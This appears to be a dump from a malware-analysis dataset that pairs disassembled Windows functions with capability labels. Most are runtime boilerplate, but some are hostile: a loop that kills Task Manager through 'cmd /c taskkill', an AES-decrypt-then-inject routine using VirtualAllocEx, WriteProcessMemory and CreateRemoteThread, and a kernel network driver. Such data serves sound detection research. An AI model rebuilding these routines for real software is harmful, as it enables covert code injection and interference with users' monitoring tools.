joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000265b
Capabilities:
Create process on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x458
mov eax, 0x5efe6b39
lea r14, str._q__c_taskkill__f__im
lea r15, str.taskmgr.exe
lea rdi, [rsp + 0x50]
lea r12, str.open
lea r13, str.cmd.exe
mov rbx, qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ebp, 0x711ccb8c
cmp eax, 0x1a718870
jg 0x1800026cb
cmp eax, 0x95bf9e34
je 0x1800026f9
cmp eax, 0x9943f14f
je 0x180002758
cmp eax, 0x18a18fa3
jne 0x1800026a0
mov eax, 0x9943f14f
mov esi, dword [rsp + 0x4c]
jmp 0x1800026a0
cmp eax, 0x1a718871
je 0x18000277c
cmp eax, 0x5efe6b39
je 0x180002770
cmp eax, 0x711ccb8c
jne 0x1800026a0
mov qword [rsp + 0x40], rdi
mov rax, qword [rsp + 0x40]
mov eax, 0x95bf9e34
jmp 0x1800026a0
mov rcx, qword [rsp + 0x40]
mov r8d, 0x400
mov rdx, r14
call fcn.1800045e0
movsxd rax, dword [rsp + 0x3c]
lea rax, [rax + rax*4]
lea rdx, [r15 + rax*4]
mov rcx, rdi
call fcn.1800059f0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, r12
mov r8, r13
mov r9, rdi
call rbx
mov rax, qword [rsp + 0x40]
mov eax, dword [rsp + 0x3c]
inc eax
mov dword [rsp + 0x4c], eax
mov eax, 0x18a18fa3
jmp 0x1800026a0
mov dword [rsp + 0x3c], esi
mov eax, dword [rsp + 0x3c]
cmp eax, 7
mov eax, 0x1a718871
cmovl eax, ebp
jmp 0x1800026a0
mov eax, 0x9943f14f
xor esi, esi
jmp 0x1800026a0
add rsp, 0x458
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x0040a9b0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x0040a9c0]
mov dword [rax], 1
mov rax, qword [0x0040a9d0]
mov dword [rax], 1
mov rax, qword [0x0040a9a0]
mov dword [rax], 1
mov rax, qword [0x0040a880]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x0040a990]
mov dword [0x0040d008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x0040a950]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x0040a830]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058
Function at 0x401560
Capabilities:
Create new key via cryptacquirecontext
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
lea rax, [rbp - 0x10]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
call rax
test eax, eax
sete al
test al, al
je 0x4015b3
mov eax, 0xffffffff
jmp 0x4016ff
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 0x18]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x800c
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
call rax
test eax, eax
sete al
test al, al
je 0x4015f0
mov eax, 0xffffffff
jmp 0x4016ff
mov rax, qword [rbp + 0x28]
mov ecx, eax
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x20]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptHashData]
call rax
test eax, eax
sete al
test al, al
je 0x401626
mov eax, 0xffffffff
jmp 0x4016ff
lea rcx, str.ADVAPI32.DLL
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.CryptDeriveKey
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 8], rax
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 8]
mov r9d, 0
mov r8, rdx
mov edx, 0x6610
call rax
test eax, eax
sete al
test al, al
je 0x401682
mov eax, 0xffffffff
jmp 0x4016ff
mov rax, qword [rbp - 0x20]
lea rdx, [rbp + 0x18]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
call rax
test eax, eax
sete al
test al, al
je 0x4016c5
mov eax, 0xffffffff
jmp 0x4016ff
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call rax
mov eax, 0
add rsp, 0x50
pop rbp
ret
Function at 0x401705
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov dword [rbp + 0xdc], 0
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0xffffffffffffffff
jne 0x401750
mov eax, 0
jmp 0x4017ef
mov dword [rbp - 0x60], 0x130
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32First
test eax, eax
sete al
test al, al
je 0x40178d
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x4017ef
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32Next
test eax, eax
setne al
test al, al
je 0x4017d6
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, rax
mov rcx, qword [rbp + 0xf0]
mov rax, qword [sym.imp.KERNEL32.dll_lstrcmpiA]
call rax
test eax, eax
sete al
test al, al
je 0x40178d
mov eax, dword [rbp - 0x58]
mov dword [rbp + 0xdc], eax
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0xdc]
add rsp, 0x160
pop rbp
ret

Function at 0x4017f8
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov qword [rbp - 8], 0
mov qword [rbp - 0x10], 0
mov edx, dword [rbp + 0x20]
mov rax, qword [rbp + 0x18]
mov r9d, 0x10
lea r8, [0x00409140]
mov rcx, rax
call sym.AESDecrypt_char__unsigned_int__char__unsigned_long_long_
mov eax, dword [rbp + 0x20]
mov dword [rsp + 0x20], 0x20
mov r9d, 0x1000
mov r8, rax
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 8], rax
mov ecx, dword [rbp + 0x20]
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8, rdx
mov rdx, rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [rbp - 8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8d, 0
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x4018fc
mov rax, qword [rbp - 0x10]
mov edx, 0x1f4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x401901
mov eax, 0xffffffff
add rsp, 0x50
pop rbp
ret
Function at 0x402530
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x0040d624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x4026b8
mov rax, qword [0x0040d628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x40257c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x402605
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x402560
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x4026ed
mov rax, qword [0x0040d628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0040d628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4026d0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x4025fe
sub eax, 0x40
and eax, 0xffffffbf
jne 0x402660
add dword [0x0040d624], 1
cmp edi, 8
jae 0x402633
test dil, 4
jne 0x4026a4
test edi, edi
je 0x402628
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x4026bf
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x402628
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x40264c
jmp 0x402628
add rsi, qword [0x0040d628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4025fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x402628
xor esi, esi
jmp 0x402587
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x402628
mov rax, qword [0x0040d628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x402e40
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0040d900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0040d8e0]
test rbx, rbx
je 0x402e94
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x402e8b
test rsi, rsi
je 0x402e8b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402e70
lea rcx, [0x0040d900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x4030d0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4030e0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x4030f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x403131
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x403128
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x403133
add rax, 0x28
cmp rax, r9
jne 0x403114
xor eax, eax
ret

Function at 0x4031d0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x0040a880]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40323d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40323d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40323d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x403234
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40323f
add rax, 0x28
cmp rax, r9
jne 0x403220
xor eax, eax
add rsp, 0x28
ret

Function at 0x403340
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x0040a880]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x403360
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403358
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4033bd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4033b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4033c4
add rax, 0x28
cmp rax, r9
jne 0x4033a0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x4033e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x0040a880]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x40344e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40344e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x40344e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x40344e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x403445
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x403455
add rcx, 0x28
cmp rcx, rax
jne 0x403430
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x403468
jmp 0x40344e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x403476
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x40344e
test r9d, r9d
jg 0x403460
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x404190
Capabilities:
Query environment variable

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12d, 1
sub r8d, 1
mov edi, ecx
mov ecx, 0x66666667
mov eax, r8d
mov rbp, rdx
movsxd rsi, r8d
imul ecx
sar r8d, 0x1f
mov rbx, r9
mov ecx, edx
sar ecx, 2
sub ecx, r8d
je 0x4041e5
mov r8d, 0x66666667
nop dword [rax]
mov eax, ecx
sar ecx, 0x1f
add r12d, 1
imul r8d
sar edx, 2
sub edx, ecx
mov ecx, edx
jne 0x4041d0
mov edx, dword [rbx + 0x2c]
cmp edx, 0xffffffff
je 0x404260
mov ecx, dword [rbx + 0xc]
cmp r12d, edx
mov r9, rbx
mov r8d, 1
cmovl r12d, edx
lea edx, [r12 + 2]
mov eax, ecx
sub eax, edx
cmp ecx, edx
mov edx, 0xffffffff
cmovle eax, edx
mov ecx, edi
mov rdx, rbp
add r12d, 1
mov dword [rbx + 0xc], eax
call sym.__pformat_emit_float
mov ecx, dword [rbx + 8]
mov rdx, rbx
mov eax, dword [rbx + 0x2c]
mov dword [rbx + 0x10], eax
mov eax, ecx
and ecx, 0x20
or eax, 0x1c0
or ecx, 0x45
mov dword [rbx + 8], eax
call sym.__pformat_putc
mov rdx, rbx
mov rcx, rsi
add dword [rbx + 0xc], r12d
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp sym.__pformat_int.isra.0
mov eax, dword [0x004091e0]
cmp eax, 0xffffffff
je 0x404296
test eax, eax
je 0x404286
mov edx, 2
mov dword [rbx + 0x2c], edx
jmp 0x4041ed
mov dword [0x004091e0], 0
call sym._get_output_format
mov edx, 3
test al, 1
jne 0x40426f
jmp 0x404274
lea rcx, str.PRINTF_EXPONENT_DIGITS
call sym.getenv
test rax, rax
je 0x40427c
movsx eax, byte [rax]
sub eax, 0x30
cmp eax, 2
ja 0x40427c
mov dword [0x004091e0], 1
jmp 0x40426f

Function at 0x408550
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x112e8
Capabilities:
Complete processing asynchronous io request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rbx, rdx
mov rdx, qword [rdx + 0xb8]
xor edi, edi
movzx ecx, byte [rdx]
cmp ecx, edi
je 0x1142a
sub ecx, 2
je 0x11420
sub ecx, 1
je 0x11416
sub ecx, 1
je 0x113b0
cmp ecx, 0xa
jne 0x11397
cmp dword [rdx + 0x18], 0x12c800
je 0x1138a
cmp dword [rdx + 0x18], 0x220194
jne 0x11397
mov rcx, qword [rbx + 0x18]
mov esi, dword [rdx + 8]
cmp rcx, rdi
je 0x1136c
cmp dword [rdx + 0x10], 0x11
jb 0x1136c
cmp esi, 0x11
jb 0x1136c
call fcn.00019eb8
cmp eax, edi
mov dword [rbx + 0x30], eax
jl 0x1136c
mov qword [rbx + 0x38], rsi
jmp 0x11407
mov esi, 0xc0000001
xor edx, edx
mov rcx, rbx
mov dword [rbx + 0x30], esi
mov qword [rbx + 0x38], rdi
call qword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
mov edi, esi
jmp 0x11412
mov rcx, rbx
call fcn.0001ac0c
jmp 0x1148e
xor edx, edx
mov rcx, rbx
mov dword [rbx + 0x30], edi
mov qword [rbx + 0x38], rdi
call qword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
xor eax, eax
jmp 0x1148e
mov rcx, qword [rbx + 8]
mov esi, dword [rdx + 8]
test byte [rcx + 0xa], 5
je 0x113c3
mov rax, qword [rcx + 0x18]
jmp 0x113de
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x28], 0x10
lea r8d, [r9 + 1]
mov dword [rsp + 0x20], edi
call qword [sym.imp.ntoskrnl.exe_MmMapLockedPagesSpecifyCache]
cmp rax, rdi
je 0x113ff
cmp esi, 8
jb 0x113ff
mov edx, dword [rax]
mov rcx, qword [0x0001da98]
call fcn.0001a14c
mov r11d, eax
mov qword [rbx + 0x38], r11
jmp 0x11404
mov edi, 0xc000009a
mov dword [rbx + 0x30], edi
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
mov eax, edi
jmp 0x1148e
mov rcx, rbx
call fcn.0001a75c
jmp 0x1148e
mov rcx, rbx
call fcn.0001a4f4
jmp 0x1148e
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentProcessId]
lea rcx, [0x0001e8c0]
mov rsi, rax
call qword [sym.imp.ntoskrnl.exe_KeAcquireSpinLockRaiseToDpc]
cmp byte [0x0001e8e0], dil
je 0x11452
mov dword [rbx + 0x30], 0xc0000010
jmp 0x11463
mov qword [0x0001e8e8], rsi
mov byte [0x0001e8e0], 1
mov dword [rbx + 0x30], edi
lea rcx, [0x0001e8c0]
mov dl, al
call qword [sym.imp.ntoskrnl.exe_KeReleaseSpinLock]
cmp dword [rbx + 0x30], edi
jne 0x1147c
call fcn.00012574
xor edx, edx
mov rcx, rbx
mov qword [rbx + 0x38], rdi
call qword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
mov eax, dword [rbx + 0x30]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x11754
Capabilities:
Complete processing asynchronous io request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, qword [rdx + 0xb8]
mov rdi, rdx
mov rsi, r8
movzx edx, byte [rbx]
test edx, edx
je 0x11979
sub edx, 0xe
je 0x117dd
sub edx, 1
je 0x11826
cmp edx, 3
jne 0x118bb
mov rax, qword [rbx + 0x30]
mov rcx, qword [rax + 0x20]
sub rcx, 1
je 0x117cd
cmp rcx, 1
je 0x117bd
add byte [rdi + 0x43], 1
lea rax, [rbx + 0x48]
mov rcx, r8
mov qword [rdi + 0xb8], rax
jmp 0x1194a
mov rdx, rbx
mov rcx, rdi
call fcn.00012c90
jmp 0x11984
mov rdx, rbx
mov rcx, rdi
call fcn.000121e8
jmp 0x11984
mov r8, rbx
mov rdx, rdi
call sub.TDI.SYS_TdiMapUserRequest
test eax, eax
jns 0x11826
cmp dword [rbx + 0x18], 0x210203
jne 0x118bb
mov rax, qword [rbx + 0x20]
test rax, rax
je 0x118bb
lea rcx, [0x00011594]
xor edx, edx
mov qword [rax], rcx
and dword [rdi + 0x30], 0
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
xor eax, eax
jmp 0x11984
mov rax, qword [rbx + 0x30]
mov rcx, qword [rax + 0x20]
cmp rcx, 2
jne 0x11955
movzx ecx, byte [rbx + 1]
sub ecx, 1
je 0x118fc
sub ecx, 1
je 0x118d4
sub ecx, 1
je 0x118c1
sub ecx, 1
je 0x118bb
sub ecx, 2
je 0x118a8
sub ecx, 1
je 0x11895
sub ecx, 1
je 0x11882
cmp ecx, 0x127ffc
jne 0x118bb
mov r8, rsi
mov rdx, rbx
mov rcx, rdi
call fcn.000115ec
jmp 0x11984
mov r8, rsi
mov rdx, rbx
mov rcx, rdi
call fcn.00014ad0
jmp 0x11984
mov r8, rsi
mov rdx, rbx
mov rcx, rdi
call fcn.000159f0
jmp 0x11984
mov r8, rsi
mov rdx, rbx
mov rcx, rdi
call fcn.00013be4
jmp 0x11984
add byte [rdi + 0x43], 1
jmp 0x11906
mov r8, rsi
mov rdx, rbx
mov rcx, rdi
call fcn.00013004
jmp 0x11984
cmp byte [rdi + 0x43], 1
je 0x11902
mov rdx, qword [rdi + 0xb8]
mov r8d, 0x38
lea rbx, [rdx - 0x48]
mov rcx, rbx
call fcn.0001b760
lea rcx, [0x0001353c]
jmp 0x11930
cmp byte [rdi + 0x43], 1
jne 0x11910
mov byte [rdi + 0x43], 2
add qword [rdi + 0xb8], 0x48
jmp 0x11947
mov rdx, qword [rdi + 0xb8]
mov r8d, 0x38
lea rbx, [rdx - 0x48]
mov rcx, rbx
call fcn.0001b760
lea rcx, [0x000133e8]
mov byte [rbx + 3], 0
mov rax, qword [rdi + 0xb8]
mov qword [rax - 0x10], rcx
mov qword [rax - 8], rdi
mov byte [rax - 0x45], 0xe0
mov rcx, rsi
mov rdx, rdi
call qword [sym.imp.ntoskrnl.exe_IofCallDriver]
jmp 0x11984
cmp rcx, 1
jne 0x118bb
cmp byte [rbx + 1], 0xb
jne 0x118bb
mov r8, rsi
mov rdx, rbx
mov rcx, rdi
call fcn.00012368
jmp 0x11984
mov rdx, rbx
mov rcx, rdi
call fcn.000114a4
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x12368
Capabilities:
Complete processing asynchronous io request

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
mov rsi, rcx
lea rcx, [0x0001e7c0]
mov r14, r8
mov rdi, rdx
xor ebp, ebp
call qword [sym.imp.ntoskrnl.exe_KeAcquireSpinLockRaiseToDpc]
mov r10, qword [0x0001e808]
mov rcx, qword [rdi + 0x30]
mov r13b, al
mov r9d, dword [r10]
xor edx, edx
mov rax, rcx
div r9
mov rbx, qword [r10 + rdx*8 + 8]
jmp 0x123c6
cmp qword [rbx], rcx
je 0x123cb
mov rbx, qword [rbx + 8]
test rbx, rbx
jne 0x123bd
test rbx, rbx
je 0x1250a
add rbx, 0xfffffffffffffff0
lea rcx, [rbx + 0x228]
call qword [sym.imp.ntoskrnl.exe_KeAcquireSpinLockRaiseToDpc]
mov edx, dword [rdi + 8]
test edx, edx
mov r11b, al
je 0x124c0
sub edx, 1
je 0x1248c
sub edx, 2
je 0x12458
sub edx, 1
je 0x1241e
sub edx, 3
je 0x12414
cmp edx, 1
jne 0x124fa
mov ebp, 0xc0000184
jmp 0x124fa
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x12445
mov qword [rbx + 0x128], rax
mov rax, qword [rdi + 0x18]
mov qword [rbx + 0x130], rax
lea rax, [0x00016664]
jmp 0x124e2
and qword [rbx + 0x128], rbp
and qword [rbx + 0x130], rbp
jmp 0x124fa
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x1247c
mov qword [rbx + 0x108], rax
mov rax, qword [rdi + 0x18]
mov qword [rbx + 0x110], rax
lea rax, [0x00014c84]
jmp 0x124e2
and qword [rbx + 0x108], rbp
and qword [rbx + 0x110], rbp
jmp 0x124fa
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x124b0
mov qword [rbx + 0xe8], rax
mov rax, qword [rdi + 0x18]
mov qword [rbx + 0xf0], rax
lea rax, [0x000146d0]
jmp 0x124e2
and qword [rbx + 0xe8], rbp
and qword [rbx + 0xf0], rbp
jmp 0x124fa
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x124ec
mov qword [rbx + 0xd8], rax
mov rax, qword [rdi + 0x18]
mov qword [rbx + 0xe0], rax
lea rax, [0x00013fb4]
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rbx
jmp 0x124fa
and qword [rbx + 0xd8], rbp
and qword [rbx + 0xe0], rbp
lea rcx, [rbx + 0x228]
mov dl, r11b
call qword [sym.imp.ntoskrnl.exe_KeReleaseSpinLock]
lea rcx, [0x0001e7c0]
mov dl, r13b
call qword [sym.imp.ntoskrnl.exe_KeReleaseSpinLock]
test ebp, ebp
jns 0x12536
and dword [rsi + 0x30], 0
and qword [rsi + 0x38], 0
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
xor eax, eax
jmp 0x1254e
add byte [rsi + 0x43], 1
add qword [rsi + 0xb8], 0x48
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.ntoskrnl.exe_IofCallDriver]
